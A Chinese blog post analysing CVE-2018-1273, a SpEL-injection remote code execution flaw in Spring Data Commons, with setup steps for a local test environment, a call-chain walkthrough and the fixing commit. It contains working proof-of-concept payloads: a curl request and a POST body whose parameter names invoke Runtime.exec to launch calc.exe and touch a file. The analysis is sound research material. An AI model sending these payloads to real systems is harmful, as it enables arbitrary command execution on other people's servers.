Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

commit:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653

 

由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持。

 

环境搭建

1、下载漏洞环境https://github.com/wearearima/poc-cve-2018-1273,导入idea并进行maven加载。

2、加载完成以后直接在命令行输入curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

即可弹出计算器。

 

poc

POST /users?page=&size=5

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/cve-2018-1273")]=&password=&repeatedPassword=

在MapDataBinder的setPropertyValue方法中,将propertyName中恶意代码执行。

通过调用栈能看到整个调用链。

ProxyingHandlerMethodArgumentResolver的createAttribute方法又调用了DataBinder的bind方法来对我们传入的数据进行处理。

bind方法调用了doBind,最后调用了DataBinder类的applyPropertyValues方法对mpvs参数进行处理。接着又调用了AbstractPropertyAccessor的setPropertyValue方法

 

 

 

  

最后回到MapDataBinder的setPropertyValue方法

 

在这里使用了StandarEvaluationContext类来对Spel表达式进行处理。

posted @ 2022-08-29 15:10  Cold灬  阅读(730)  评论(0编辑  收藏  举报